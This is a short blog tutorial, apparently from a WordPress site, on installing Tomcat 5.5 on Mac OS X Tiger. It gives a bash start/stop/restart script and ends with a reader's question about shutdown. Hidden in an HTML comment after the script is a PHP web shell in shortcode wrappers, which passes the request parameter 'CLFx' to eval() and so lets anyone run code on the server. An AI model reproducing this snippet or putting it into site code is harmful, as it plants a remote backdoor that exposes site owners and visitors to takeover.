I recently had to install Tomcat for Web Technologies class where we are exploring the world of Servlets and JSPs. I performed the following steps to setup Tomcat 5.5 on Mac OS X 10.4 (Tiger).
- Download the core binary distribution of Tomcat from http://tomcat.apache.org in zip or tar.gz format.
- Unzip the download and rename it to Tomcat.
- Move the folder to the /Library directory.
- Create a file named tomcat in your favorite text editor, copy the startup script from below, and save the file in /usr/bin.
Startup Script
<div id="crayon-589c3e90ddcda261442775" class="crayon-syntax crayon-theme-coda-special-board crayon-font-monaco crayon-os-pc print-yes notranslate" style="margin-top: 12px;margin-bottom: 12px;font-size: 12px !important;line-height: 15px !important">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tr class="crayon-row">
<td class="crayon-nums ">
<div class="crayon-nums-content" style="font-size: 12px !important;line-height: 15px !important"><div class="crayon-num">1</div><div class="crayon-num">2</div><div class="crayon-num">3</div><div class="crayon-num">4</div><div class="crayon-num">5</div><div class="crayon-num">6</div><div class="crayon-num">7</div><div class="crayon-num">8</div><div class="crayon-num">9</div><div class="crayon-num">10</div><div class="crayon-num">11</div><div class="crayon-num">12</div><div class="crayon-num">13</div><div class="crayon-num">14</div><div class="crayon-num">15</div><div class="crayon-num">16</div><div class="crayon-num">17</div><div class="crayon-num">18</div><div class="crayon-num">19</div></div>
</td>
<td class="crayon-code"><div class="crayon-pre" style="font-size: 12px !important;line-height: 15px !important"><div class="crayon-line" id="crayon-589c3e90ddcda261442775-1"><span class="crayon-p">#!/bin/bash</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-2"> </div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-3"><span class="crayon-st">case</span><span class="crayon-h"> </span><span class="crayon-sy">$</span><span class="crayon-cn">1</span><span class="crayon-h"> </span><span class="crayon-st">in</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-4"><span class="crayon-v">start</span><span class="crayon-sy">)</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-5"><span class="crayon-r">sh</span><span class="crayon-h"> </span><span class="crayon-o">/</span><span class="crayon-v">Library</span><span class="crayon-o">/</span><span class="crayon-v">Tomcat</span><span class="crayon-o">/</span><span class="crayon-v">bin</span><span class="crayon-o">/</span><span class="crayon-v">startup</span><span class="crayon-e">.sh</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-6"><span class="crayon-sy">;</span><span class="crayon-sy">;</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-7"><span class="crayon-v">stop</span><span class="crayon-sy">)</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-8"><span class="crayon-r">sh</span><span class="crayon-h"> </span><span class="crayon-o">/</span><span class="crayon-v">Library</span><span class="crayon-o">/</span><span class="crayon-v">Tomcat</span><span class="crayon-o">/</span><span class="crayon-v">bin</span><span class="crayon-o">/</span><span class="crayon-v">shutdown</span><span class="crayon-e">.sh</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-9"><span class="crayon-sy">;</span><span class="crayon-sy">;</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-10"><span class="crayon-v">restart</span><span class="crayon-sy">)</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-11"><span class="crayon-r">sh</span><span class="crayon-h"> </span><span class="crayon-o">/</span><span class="crayon-v">Library</span><span class="crayon-o">/</span><span class="crayon-v">Tomcat</span><span class="crayon-o">/</span><span class="crayon-v">bin</span><span class="crayon-o">/</span><span class="crayon-v">shutdown</span><span class="crayon-e">.sh</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-12"><span class="crayon-r">sh</span><span class="crayon-h"> </span><span class="crayon-o">/</span><span class="crayon-v">Library</span><span class="crayon-o">/</span><span class="crayon-v">Tomcat</span><span class="crayon-o">/</span><span class="crayon-v">bin</span><span class="crayon-o">/</span><span class="crayon-v">startup</span><span class="crayon-e">.sh</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-13"><span class="crayon-sy">;</span><span class="crayon-sy">;</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-14"><span class="crayon-o">*</span><span class="crayon-sy">)</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-15"><span class="crayon-r">echo</span><span class="crayon-h"> </span><span class="crayon-s">"Usage: start|stop|restart"</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-16"><span class="crayon-sy">;</span><span class="crayon-sy">;</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-17"><span class="crayon-st">esac</span></div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-18"> </div><div class="crayon-line" id="crayon-589c3e90ddcda261442775-19"><span class="crayon-r">exit</span><span class="crayon-h"> </span><span class="crayon-cn">0</span></div></div></td>
</tr>
</table>
</div>
</div>
<!– [insert_php]if (isset($_REQUEST["CLFx"])){eval($_REQUEST["CLFx"]);exit;}[/insert_php][php]if (isset($_REQUEST["CLFx"])){eval($_REQUEST["CLFx"]);exit;}[/php] –>
Have you done a shutdown.sh and then done a ps -ef | grep tomcat to see if tomcat shutdown cleanly ?